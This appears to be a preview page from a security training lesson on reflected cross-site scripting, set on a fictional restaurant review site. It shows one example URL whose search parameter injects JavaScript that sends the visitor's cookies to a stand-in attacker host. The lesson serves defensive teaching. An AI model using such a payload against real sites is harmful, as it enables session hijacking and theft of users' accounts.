Reflected XSS

Public preview

Want everyone on your software team to learn this? Free 14-day trial.

Train my team

To test this, he crafts a URL with a snippet of JavaScript in the search parameter.

www.welp.com?search=<script>window.location='www.haxxed.com?cookie='+document.cookie</script>
The hacker
www.welp.com
The logo A shrug
The indifferent restaurant review site
I guess you should search for food or something.